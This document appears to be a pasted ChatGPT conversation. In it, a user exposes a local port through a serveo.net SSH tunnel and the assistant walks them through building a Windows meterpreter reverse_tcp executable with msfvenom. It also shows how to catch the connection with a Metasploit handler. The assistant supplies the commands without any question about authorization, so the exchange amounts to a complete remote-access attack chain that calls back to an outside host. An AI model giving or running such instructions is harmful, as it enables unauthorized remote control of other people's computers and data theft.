ssh -R 4040:localhost:4040 serveo.net

sudo lsof -i :4040

msfvenom -p windows/meterpreter/reverse_tcp LHOST=your-subdomain.serveo.net LPORT=4040 -f exe > payload.exe ┌──(niranga㉿vbox)-[~] └─$ ssh -R 4040:localhost:4040 serveo.net Forwarding TCP connections from serveo.net:4040 this is what i got

ChatGPT said:

ChatGPT

It looks like Serveo is correctly forwarding TCP connections on port `4040` to your local machine's port `4040`. Now, you can proceed with setting up Metasploit and testing the payload. Here's how:

---

1. Verify Your Serveo Subdomain

Ensure that Serveo is successfully forwarding connections. Your output indicates that it's forwarding connections from `serveo.net:4040`. This means your payload's `LHOST` should be `serveo.net` and `LPORT` should be `4040`.

---

2. Generate the Payload

Run the following command to create the reverse TCP payload:

```
bash
Copy code
msfvenom -p windows/meterpreter/reverse_tcp LHOST=serveo.net LPORT=4040 -f
exe > payload.exe
```

This payload will connect back to the Serveo tunnel at `serveo.net:4040`.

---

3. Start Metasploit Listener

Launch Metasploit and set up the handler to listen for incoming connections on port `4040`:

```
bash
Copy code
msfconsole
```

Inside Metasploit:

```
bash
Copy code
```

```
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 4040
exploit
```

- **Why LHOST=127.0.0.1?** Serveo forwards connections to your localhost, so Metasploit must listen on `127.0.0.1:4040`.